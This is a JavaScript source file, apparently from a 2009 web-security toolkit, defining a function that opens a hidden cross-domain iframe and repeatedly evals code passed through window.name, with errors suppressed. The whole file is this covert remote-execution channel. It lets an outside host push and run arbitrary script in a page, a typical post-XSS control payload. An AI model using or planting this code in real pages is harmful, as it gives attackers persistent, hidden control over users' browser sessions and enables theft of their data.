/**
 * Comet execution of javascript script crossdomain in IE.
 * 
 * @name: cometExecIE
 * @author: luoluo
 * @date: 2009-04-18
 * @version: 1.0
 * 
 * @param{proxyURL}: The url of the proxy hosted in anthor domian.
 * @param{delay}: Delay time.
 * 
 * @sample:
 *
 * cometExecIE("http://www.xxx.com/cometProxy.html", 5000);
 *
 */
function cometExecIE(proxyURL, delay) {
	var pnl = document.createElement("div")
	var frm = document.createElement("iframe");

	frm.setAttribute("src", proxyURL);
	frm.style.display = "none";
	frm.setAttribute("id", "_proxy_frame_");

	pnl.appendChild(frm);

	if (document.body) {
		document.body.appendChild(frm);
	} else {
		document.write(pnl.innerHTML);
	}

	var intval = setInterval(function() {
		try {
			if (window._stop_ != true) {
				eval(window.name);
			}
		} catch (e) {

		}
	}, delay);
}